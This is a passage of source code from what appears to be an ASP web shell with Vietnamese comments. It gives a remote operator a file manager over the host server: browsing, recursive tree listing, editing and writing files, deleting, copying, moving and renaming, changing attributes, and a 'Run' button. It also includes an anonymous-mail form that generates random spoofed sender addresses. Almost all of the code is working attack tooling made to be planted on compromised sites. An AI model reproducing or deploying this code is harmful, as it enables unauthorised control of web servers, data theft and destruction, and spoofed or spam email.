  874. <tr>
  875.  <td>
  876.  <form name=frmSend method=post action="<%=gURL%>">
  877.  <table>
  878.  <tr>
  879.   <td>&nbsp;</td>
  880.   <td>
  881.   <p align="center"><b><font size="4">A n o n y m o u s&nbsp; M a i l</font></b></td>
  882.  </tr>
  883.  <tr>
  884.   <td>&nbsp;</td>
  885.   <td>&nbsp;</td>
  886.  </tr>
  887.  <tr>
  888.   <td>From:</td>
  889.   <td>
  890.   <input type=text name=from value="<%=Server.HtmlEncode(strFrom)%>" size=35 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td>
  891.  </tr>
  892.  <tr>
  893.   <td>To:</td>
  894.   <td>
  895.   <input type=text name=to value="<%=Server.HtmlEncode(strTo)%>" size=35 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td>
  896.  </tr>
  897.  <tr>
  898.   <td>Subject:</td>
  899.   <td>
  900.   <input type=text name=subject value="<%=Server.HtmlEncode(strSubject)%>" size=60 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td>
  901.  </tr>
  902.  <tr>
  903.   <td valign=top>Body:</td>
  904.   <td>
  905.   <textarea name=body cols=75 rows=7 style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"><%=Server.HtmlEncode(strBody)%></textarea></td>
  906.  </tr>
  907.  <tr>
  908.   <td>Html:</td>
  909.   <td>
  910.   <input type=checkbox name=html value=1<%if bHtml=true then Response.Write " checked"%>></td>
  911.  </tr>
  912.  <tr>
  913.   <td colspan=2>
  914.   <input type=submit name=subcommand value=Send style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td>
  915.  </tr>
  916.  </table>
  917.  </form>
  918.  </td>
  919.  <td width=50% valign=top>
  920.  
  921.  
  922.  
  923.  
  924.  </td>
  925. </tr>
  926. </table>
  927. <%
  928.     HtmlMode()
  929.     HtmlFooter()
  930.     Destroy()
  931. end sub
  932.  
  933. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  934.  
  935. function IsValidEmail(strEAddress)
  936.     dim objRegExpr
  937.     set objRegExpr = New RegExp
  938.     objRegExpr.Pattern = "^[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]@[\w-\.]*[a-zA-Z0-9]\.[a-zA-Z]{2,7}$"
  939.     objRegExpr.Global = true
  940.     objRegExpr.IgnoreCase = False
  941.     IsValidEmail = objRegExpr.Test(strEAddress)
  942.     set objRegExpr = nothing
  943. end function
  944.  
  945. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  946.  
  947. function makeEmail()
  948.     Randomize
  949.     if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & "@" & makeText(8) & "." & zombie_array(Int((UBound(zombie_array)-0+1)*Rnd+0)) else makeEmail=makeText(8) & "@" & special_array(Int((UBound(special_array)-0+1)*Rnd+0))
  950. end function
  951.  
  952. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  953.  
  954. function makeText(intLen)
  955.     dim strNewText,i
  956.     strNewText=""
  957.     Randomize
  958.     for i=1 to intLen
  959.         strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1)
  960.     next
  961.     makeText=strNewText
  962. end function
  963.  
  964. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  965.  
  966. function howlong(intTime)
  967.     if (intTime<60) then
  968.         howlong=intTime & " second(s)"
  969.     elseif (intTime<60*60) then
  970.         howlong=FormatNumber(intTime/60,2) & " minute(s)"
  971.     else
  972.         howlong=FormatNumber(intTime/(60*60),2) & " hour(s)"
  973.     end if
  974. end function
  975.  
  976. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  977.  
  978. sub Tree()
  979.     dim path
  980.     path=abspath(Request.Form("param"))
  981.     if FSO.FolderExists(path) then
  982. %>
  983. <html>
  984. <head>
  985. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  986. <title><%=path%></title>
  987. <style>
  988. body, td{font-family:Fixedsys}
  989. a{color:#0000ff}
  990. </style>
  991. </head>
  992. <body bgcolor=#000000 text=#ffffff>
  993. <%
  994.         tree_dir(path)
  995. %>
  996. </body>
  997. </html>
  998. <%
  999.     else
  1000. %>
  1001. <script>alert('Folder not found !');window.close();</script>
  1002. <%
  1003.     end if
  1004.     Destroy()
  1005. end sub
  1006.  
  1007. sub tree_dir(path)
  1008.     dim strAttrib,strSize
  1009.  
  1010.     on error resume next
  1011.  
  1012.     dim oFolder
  1013.     dim oSubFolders,oSubFolder
  1014.     dim oFiles,oFile
  1015.     dim oSubFolders2,oSubFolder2
  1016.     dim oFiles2,oFile2
  1017.  
  1018.     set oFolder=FSO.GetFolder(path)
  1019.     set oSubFolders=oFolder.SubFolders
  1020.     set oFiles=oFolder.Files
  1021.  
  1022.     Response.Write "<p>" & FSO.GetAbsolutePathName(path)
  1023.  
  1024.     strAttrib=GetAttributes(oFolder.Attributes)
  1025.  
  1026.     if strAttrib<>"&nbsp;" then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")"
  1027.  
  1028.     Response.Write vbNewLine
  1029.  
  1030.     if (oSubFolders.Count>0) or (oFiles.Count>0) then
  1031. %>
  1032. <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#CCCCCC>
  1033. <tr bgcolor=#000000>
  1034.  <td><font color=#FFFF00>Name</font></td>
  1035.  <td align=center><font color=#FFFF00>Size</font></td>
  1036.  <td align=center><font color=#FFFF00>Type</font></td>
  1037.  <td align=center><font color=#FFFF00>Modified</font></td>
  1038.  <td align=center><font color=#FFFF00>Attributes</font></td>
  1039. </tr>
  1040. <%
  1041.         ' liet ke thu muc
  1042.         for each oSubFolder in oSubFolders
  1043. %>
  1044. <tr bgcolor=#000000>
  1045.  <td><%=oSubFolder.Name%></td>
  1046.  <td align=right>&nbsp;</td>
  1047.  <td align=center>DIR</td>
  1048.  <td align=center><%=FormatDate(oSubFolder.DateLastModified)%></td>
  1049.  <td><%=GetAttributes(oSubFolder.Attributes)%></td>
  1050. </tr>
  1051. <%
  1052.         next
  1053.  
  1054.         ' liet ke file
  1055.         for each oFile in oFiles
  1056. %>
  1057. <tr bgcolor=#000000>
  1058.  <td<%if (FSO.GetExtensionName(path & "\" & oFile.Name)="lnk") or (FSO.GetExtensionName(path & "\" & oFile.Name)="url") then Response.Write " title=""" & FindLink(path & "\" & oFile.Name) & """"%>><%=oFile.Name%></td>
  1059.  <td align=right><%=FormatSize(oFile.Size)%></td>
  1060.  <td align=center><%=oFile.Type%></td>
  1061.  <td align=center><%=FormatDate(oFile.DateLastModified)%></td>
  1062.  <td><%=GetAttributes(oFile.Attributes)%></td>
  1063. </tr>
  1064. <%
  1065.         next
  1066.         strSize=FormatSize(oFolder.Size)
  1067. %>
  1068. <tr bgcolor=#000000>
  1069.  <td colspan=5 align=center><%=oSubFolders.Count%> folder(s), <%=oFiles.Count%> file(s)<%if strSize<>"" then Response.Write " (" & strSize & ")"%></td>
  1070. </tr>
  1071. </table>
  1072. <%
  1073.         ' goi de qui
  1074.         for each oSubFolder in oSubFolders
  1075.             set oSubFolder2=oSubFolder.SubFolders
  1076.             set oFile2=oSubFolder.Files
  1077.  
  1078.             if (oSubFolder2.Count>0) or (oFile2.Count>0) then
  1079.                 tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name)
  1080.             end if
  1081.  
  1082.             set oSubFolder2=nothing
  1083.             set oFile2=nothing
  1084.         next
  1085.     end if
  1086.  
  1087.     set oSubFolder=nothing
  1088.     set oFiles=nothing
  1089.     set oFolder=nothing
  1090. end sub
  1091.  
  1092. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1093.  
  1094. sub Editor()
  1095.     dim f,name,path
  1096.    
  1097.     on error resume next
  1098.  
  1099.     HtmlHeader("")
  1100.  
  1101.     name=Request.Form("param")
  1102.     path=addslash(targetPath) & name
  1103.  
  1104.     select case Request.Form("subcommand")
  1105.         case "Save","SaveAs"
  1106.             set f=FSO.OpenTextFile(path,2,true,-2)
  1107.             if Err.Number<>0 then
  1108.                 gMsg="Can not write to the file """ & name & """, permission denied!"
  1109.                 Err.Clear
  1110.             else
  1111.                 f.Write Request.Form("content")
  1112.             end if
  1113.             set f=nothing
  1114.             set f=FSO.OpenTextFile(path,1,false,-2)
  1115.         case else
  1116.             if not FSO.FileExists(path) then
  1117.                 gMsg="The file """ & name & """ does not exist"
  1118.                 set f=FSO.CreateTextFile(path,false)
  1119.                 if Err.Number<>0 then
  1120.                     gMsg=gMsg & ", also unable to create new file."
  1121.                     Err.Clear
  1122.                 else
  1123.                     gMsg=gMsg & ", created new file."
  1124.                 end if
  1125.             else
  1126.                 set f=FSO.OpenTextFile(path,1,false,-2)
  1127.                 if Err.Number<>0 then
  1128.                     gMsg="Can not read from the file """ & name & """, permission denied!"
  1129.                     Err.Clear
  1130.                 end if
  1131.             end if
  1132.     end select
  1133. %>
  1134. <% if gMsg<>"" then Response.Write "<script>alert('" & gMsg & "')</script>" & vbNewLine %>
  1135. <p><b>E</b>diting - "<%=path%>"<br>
  1136. <form name=frmFile method=post action="<%=gURL%>">
  1137. <b>W</b>rap<input type=checkbox id=wrap onclick="EditorCommand('WordWrap')" value="ON">
  1138. <center>
  1139. <table width=100%>
  1140. <tr><td align=center>
  1141. <textarea name=content rows=25 cols=46 style="border-style:solid; border-width:1; width:580;height:330; color:#999999; background-color:#494E56" wrap=off><%=Server.HTMLEncode(f.ReadAll)%></textarea>
  1142. </td></tr>
  1143. <tr><td align=center>
  1144. <input type=button value=Save onclick="EditorCommand('Save')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1145. <input type=button value="Save As" onclick="EditorCommand('SaveAs')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1146. <input type=button value=Reload onclick="EditorCommand('Reload')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1147. <input type=button value=Close onclick="window.close()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1148. </td></tr>
  1149. </table>
  1150. </center>
  1151. <script>frmFile.content.focus()</script>
  1152. <input type=hidden name=command value=Edit>
  1153. <input type=hidden name=subcommand value="">
  1154. <input type=hidden name=param value="<%=name%>">
  1155. <input type=hidden name=folder value="<%=Request.Form("folder")%>">
  1156. </form>
  1157. <%
  1158.     set f=nothing
  1159.     HtmlJsEditor()
  1160.     HtmlFooter()
  1161.     Destroy()
  1162. end sub
  1163.  
  1164. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1165.  
  1166. sub ChangeAttributesItem()
  1167.     dim item,itemType,itemName,itemPath,itemAttrib
  1168.    
  1169.     itemType=Request.Form("command")
  1170.     itemName=Request.Form("param")
  1171.     itemPath=addslash(targetPath) & itemName
  1172.  
  1173.     HtmlHeader("")
  1174.  
  1175.     select case itemType
  1176.         case "ChangeAttributesFile" set item=FSO.GetFile(itemPath)
  1177.         case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath)
  1178.     end select
  1179.  
  1180.     if Request.Form("subcommand")="change" then
  1181.         itemAttrib=int(Request.Form("r"))
  1182.         itemAttrib=itemAttrib+int(Request.Form("h"))
  1183.         itemAttrib=itemAttrib+int(Request.Form("a"))
  1184.         itemAttrib=itemAttrib+int(Request.Form("s"))
  1185.         on error resume next
  1186.         item.Attributes=int(itemAttrib)
  1187.         if Err.Number<>0 then Response.Write "<script>alert('Permission denined')</script>" & vbNewLine
  1188.     end if
  1189.  
  1190.     itemAttrib=item.Attributes
  1191. %>
  1192. <b>C</b>hange attributes - "<%=itemName%>"
  1193. <p align=center>
  1194. <form name=frmAttrib method=post action="<%=gURL%>">
  1195. <input type=hidden name=command value="<%=itemType%>">
  1196. <input type=hidden name=subcommand value=change>
  1197. <input type=hidden name=folder value="<%=targetPath%>">
  1198. <input type=hidden name=param value="<%=itemName%>">
  1199. <table>
  1200. <tr>
  1201.  <td><input type=checkbox name=r value=1 <%if (itemAttrib and 1)>0 then Response.Write " checked"%>>Read-only</td>
  1202.  <td><input type=checkbox name=h value=2 <%if (itemAttrib and 2)>0 then Response.Write " checked"%>>Hidden</td>
  1203. </tr>
  1204. <tr>
  1205.  <td><input type=checkbox name=a value=32 <%if (itemAttrib and 32)>0 then Response.Write " checked"%>>Archive</td>
  1206.  <td><input type=checkbox name=s value=4 <%if (itemAttrib and 4)>0 then Response.Write " checked"%>>System</td>
  1207. </tr>
  1208. </table><br>
  1209. <input type=button value=OK onclick="frmAttrib.submit()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1210. <input type=button value=Close onclick="window.close()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1211. </form>
  1212. </p>
  1213. <%
  1214.     set itemType=nothing
  1215.     HtmlFooter()
  1216.     Destroy()
  1217. end sub
  1218.  
  1219. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1220.  
  1221. sub OpenFolder()
  1222.     if Trim(Request.Form("folder"))="" then
  1223.         if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param")))
  1224.     else
  1225.         targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param"))
  1226.     end if
  1227. end sub
  1228.  
  1229. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1230.  
  1231. sub CreateItem()
  1232.     dim itemType,itemName,itemPath 
  1233.     itemType=request.form("command")
  1234.     itemName=request.form("param")
  1235.     itemPath=addslash(targetPath) & itemName
  1236.  
  1237.     on error resume next
  1238.  
  1239.     select case itemType
  1240.         case "NewFolder"
  1241.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1242.                 FSO.CreateFolder(itemPath)
  1243.                 if Err.Number<>0 then
  1244.                     gMsg="Unable to create the folder """ & itemName & """, an error occured..."
  1245.                 else
  1246.                     gMsg="Created the folder """ & itemName & """..."
  1247.                 end if
  1248.             else
  1249.                 gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
  1250.             end if
  1251.         case "NewFile"
  1252.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1253.                 FSO.CreateTextFile(itemPath)
  1254.                 if Err.Number<>0 then
  1255.                     gMsg="Unable to create the file """ & itemName & """, an error occured..."
  1256.                 else
  1257.                     gMsg="Created the file """ & itemName & """..."
  1258.                 end if
  1259.             else
  1260.                 gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
  1261.             end if
  1262.     end select
  1263. end sub
  1264.  
  1265. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1266.  
  1267. sub ZipInfo()
  1268.     dim path,zip,zipfile,i
  1269.  
  1270.     path=addslash(targetPath) & Request.Form("param")
  1271. %>
  1272. <html>
  1273. <head>
  1274. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  1275. <title><%=path%></title>
  1276. <style>
  1277. body, td{font-family:Fixedsys}
  1278. a{color:#0000ff}
  1279. </style>
  1280. </head>
  1281. <body bgcolor=#000000 text=#ffffff>
  1282. <p><%=path%>
  1283. <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#CCCCCC>
  1284. <tr bgcolor=#000000>
  1285.  <td><font color=#FFFF00>Name</font></td>
  1286.  <td align=center><font color=#FFFF00>Size</font></td>
  1287.  <td align=center><font color=#FFFF00>Ratio</font></td>
  1288.  <td align=center><font color=#FFFF00>Packed</font></td>
  1289.  <td align=center><font color=#FFFF00>Modify</font></td>
  1290.  <td align=center><font color=#FFFF00>Path</font></td>
  1291. </tr>
  1292. <%
  1293.     set zip=new clszip
  1294.     zip.ZipLoad(path)
  1295.     set zipfile=new clsZipFile
  1296.  
  1297.     for i=1 to zip.FileCount
  1298.         set zipfile=zip.GetFile(i)
  1299.         with zipfile
  1300.             if not (.IsFolder Or .IsOverall) then
  1301.                 Response.Write "<tr bgcolor=#000000>" & vbNewLine
  1302.                 Response.Write " <td>" & .Name & "</td>" & vbNewLine
  1303.                 Response.Write " <td align=right>" & FormatNumber(.Size,0) & "</td>" & vbNewLine
  1304.                 Response.Write " <td align=right>" & .Ratio & "</td>" & vbNewLine
  1305.                 Response.Write " <td align=right>" & FormatNumber(.Packed,0) & "</td>" & vbNewLine
  1306.                 Response.Write " <td align=center>" & FormatDate(.Modified) & "</td>" & vbNewLine
  1307.                 Response.Write " <td>" & .Path & "</td>" & vbNewLine
  1308.             end if
  1309.         end with
  1310.     next
  1311.    
  1312.     set ZipFile=nothing
  1313.     set zip=nothing
  1314. %>
  1315. </table>
  1316. </p>
  1317. <%
  1318.     HtmlFooter()
  1319.     Destroy()
  1320. end sub
  1321.  
  1322. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1323.  
  1324. sub Exec()
  1325.    
  1326. end sub
  1327.  
  1328. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1329.  
  1330.  
  1331. sub Delete()
  1332.     dim i,ndir,nfile,itemName,itemPath
  1333.  
  1334.     on error resume next
  1335.  
  1336.     ndir=Request.Form("d").Count
  1337.     nfile=Request.Form("f").Count
  1338.  
  1339.     if (ndir>0) then
  1340.         gMsg="<b>D</b>elete folder(s)..."
  1341.         for i=1 to ndir
  1342.             itemName=Request.Form("d")(i)
  1343.             itemPath=addslash(targetPath) & itemName
  1344.             FSO.DeleteFolder itemPath,true
  1345.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1346.             if Err.Number<>0 then
  1347.                 gMsg=gMsg & "error"
  1348.             else
  1349.                 gMsg=gMsg & "success"
  1350.             end if
  1351.         next
  1352.     end if
  1353.  
  1354.     if (nfile>0) then
  1355.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  1356.         gMsg=gMsg & "<b>D</b>elete file(s)..."
  1357.         for i=1 to nfile
  1358.             itemName=Request.Form("f")(i)
  1359.             itemPath=addslash(targetPath) & itemName
  1360.             FSO.DeleteFile itemPath,true
  1361.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1362.             if Err.Number<>0 then
  1363.                 gMsg=gMsg & "error"
  1364.             else
  1365.                 gMsg=gMsg & "success"
  1366.             end if
  1367.         next
  1368.     end if
  1369.  
  1370. end sub
  1371.  
  1372. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1373.  
  1374. sub Copy()
  1375.     dim i,nfile,ndir,itemName,itemPath
  1376.    
  1377.     on error resume next
  1378.  
  1379.     cp_dst=Trim(Request.Form("cp"))
  1380.     if cp_dst="" then exit sub
  1381.     cp_dst=abspath(cp_dst)
  1382.     Session("cp_dst")=cp_dst
  1383.  
  1384.     if FSO.FolderExists(cp_dst)=false then
  1385.         gMsg="<p>Folder not exists" & vbNewLine
  1386.         exit sub
  1387.     end if
  1388.  
  1389.     ndir=Request.Form("d").Count
  1390.     nfile=Request.Form("f").Count
  1391.  
  1392.     if (ndir>0) then
  1393.         gMsg="<b>C</b>opying folder(s) to """ & cp_dst & """ ..."
  1394.         for i=1 to ndir
  1395.             itemName=Request.Form("d")(i)
  1396.             itemPath=addslash(targetPath) & itemName
  1397.             FSO.CopyFolder itemPath,addslash(cp_dst),true
  1398.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1399.             if Err.Number<>0 then
  1400.                 gMsg=gMsg & "error"
  1401.             else
  1402.                 gMsg=gMsg & "success"
  1403.             end if
  1404.         next
  1405.     end if
  1406.  
  1407.     if (nfile>0) then
  1408.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  1409.         gMsg=gMsg & "<b>C</b>opying file(s) to """ & cp_dst & """ ..."
  1410.         for i=1 to nfile
  1411.             itemName=Request.Form("f")(i)
  1412.             itemPath=addslash(targetPath) & itemName
  1413.             FSO.CopyFile itemPath,addslash(cp_dst),true
  1414.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1415.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1416.         next
  1417.     end if
  1418.  
  1419. end sub
  1420.  
  1421. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1422.  
  1423. sub Move()
  1424.     dim i,nfile,ndir,itemName,itemPath
  1425.    
  1426.     on error resume next
  1427.  
  1428.     mv_dst=Trim(Request.Form("mv"))
  1429.     if mv_dst="" then exit sub
  1430.     mv_dst=abspath(mv_dst)
  1431.     Session("mv_dst")=mv_dst
  1432.  
  1433.     if FSO.FolderExists(mv_dst)=false then
  1434.         gMsg="<p>Folder not exists" & vbNewLine
  1435.         exit sub
  1436.     end if
  1437.  
  1438.     ndir=Request.Form("d").Count
  1439.     nfile=Request.Form("f").Count
  1440.  
  1441.     if (ndir>0) then
  1442.         gMsg="<b>M</b>oving folder(s) to """ & mv_dst & """ ..."
  1443.         for i=1 to ndir
  1444.             itemName=Request.Form("d")(i)
  1445.             itemPath=addslash(targetPath) & itemName
  1446.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1447.             FSO.MoveFolder itemPath,addslash(mv_dst)
  1448.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1449.             set item=nothing
  1450.         next
  1451.     end if
  1452.  
  1453.     if (nfile>0) then
  1454.         if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
  1455.         gMsg=gMsg & "<b>M</b>oving file(s) to """ & mv_dst & """ ..."
  1456.         for i=1 to nfile
  1457.             itemName=Request.Form("f")(i)
  1458.             itemPath=addslash(targetPath) & itemName
  1459.             gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
  1460.             FSO.MoveFile itemPath,addslash(mv_dst)
  1461.             if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
  1462.         next
  1463.     end if
  1464. end sub
  1465.  
  1466. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1467.  
  1468. sub RenameItem()
  1469.     dim item,itemType,itemName,itemPath
  1470.     dim param,newName
  1471.  
  1472.     itemType=request.form("command")
  1473.     param=split(request.form("param"),"|")
  1474.     itemName=param(0)
  1475.     newName=param(1)
  1476.     itemPath=addslash(targetPath) & newName
  1477.  
  1478.     on error resume next
  1479.  
  1480.     select case itemType
  1481.         case "RenameFolder"
  1482.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1483.                 itemPath=addslash(targetPath) & itemName
  1484.                 set item=FSO.GetFolder(itemPath)
  1485.                 item.Name=newName
  1486.                 if Err.Number<>0 then
  1487.                     gMsg="Unable to rename the folder """ & itemName & """, an error occured..."
  1488.                 else
  1489.                     gMsg="Renamed the folder """ & itemName & """ to """ & newName & """..."
  1490.                 end if
  1491.             else
  1492.                 gMsg="Unable to rename the folder """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
  1493.             end if
  1494.         case "RenameFile"
  1495.             if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1496.                 itemPath=addslash(targetPath) & itemName
  1497.                 set item=FSO.GetFile(itemPath)
  1498.                 item.Name=newName
  1499.                 if Err.Number<>0 then
  1500.                     gMsg="Unable to rename the file """ & itemName & """, an error occured..."
  1501.                 else
  1502.                     gMsg="Renamed the file """ & itemName & """ to """ & newName & """..."
  1503.                 end if
  1504.             else
  1505.                 gMsg="Unable to rename the file """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
  1506.             end if
  1507.     end select
  1508.  
  1509.     set item=nothing
  1510. end sub
  1511.  
  1512. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1513.  
  1514. sub List()
  1515.     dim objFolder,folder,item,intCount,bOpen,ext,count
  1516.     HtmlQuick()
  1517.     if not FSO.FolderExists(targetPath) then
  1518.         gMsg="Folder not found"
  1519.     else
  1520.         on error resume next
  1521.         set objFolder=FSO.GetFolder(targetPath)
  1522.         if Err.Number<>0 then
  1523.             gMsg="Can't open folder"
  1524.         else
  1525.             intCount=objFolder.SubFolders.Count+objFolder.Files.Count
  1526.             if Err.Number<>0 then
  1527.                 gMsg="Permission denied"
  1528.             else
  1529. %>
  1530. <input type=button value=Refresh onclick="Command('Refresh')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1531. <input type=button value="New File" onclick="Command('NewFile')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1532. <input type=button value="New Folder" onclick="Command('NewFolder')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1533. <input type=button value=Upload onclick="frmUpload.max.focus()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1534. <input type=button value=Download style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1535. <input type=button value=Run title="Running Selected Item" onclick="DoWork('Exec')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1536. <input type=button Value=Copy onclick="theForm.cp.focus()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1537. <input type=button value=Move onclick="theForm.mv.focus()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1538. <input type=button value=Delete title="Delete Selected Item(s)" onclick="DoWork('Delete')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1539. <input type=button value=Tree onclick="Command('Tree')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1540. <%
  1541.                 bOpen=true
  1542.             end if
  1543.         end if
  1544.     end if
  1545.  
  1546.     if gMsg<>"" then Response.Write "<p>" & gMsg & vbNewLine
  1547.     if bOpen then
  1548.         count=0
  1549. %>
  1550. <p>
  1551. <table cellpadding=1 width=100%>
  1552.  <th align="left" bgcolor="#3E4148">Name</th>
  1553.  <th align="left" bgcolor="#3E4148">Size</th>
  1554.  <th align="left" bgcolor="#3E4148">Type</th>
  1555.  <th align="left" bgcolor="#3E4148">Modified</th>
  1556.  <th align="left" bgcolor="#3E4148">Attr</th>
  1557.  <th align="left" bgcolor="#3E4148">Actions</th>
  1558. <%
  1559.         if not isroot(targetPath) then
  1560. %>
  1561. <tr>
  1562.  <td bgcolor="#494E56"><a href="javascript:Command('LevelRoot')" title="Up Root Level"><b><font color=#FFFFFF>Top Level</font></b></a></td>
  1563.  <td bgcolor="#494E56">&nbsp;</td>
  1564.  <td align=left bgcolor="#494E56">Root</td>
  1565.  <td bgcolor="#494E56">&nbsp;</td>
  1566.  <td bgcolor="#494E56">&nbsp;</td>
  1567.  <td bgcolor="#494E56">&nbsp;</td>
  1568. </tr>
  1569. <tr>
  1570.  <td bgcolor="#494E56"><a href="javascript:Command('LevelUp')" title="Up One level"><b><font color=#FFFFFF>Up One Level</font></b></a></td>
  1571.  <td bgcolor="#494E56">&nbsp;</td>
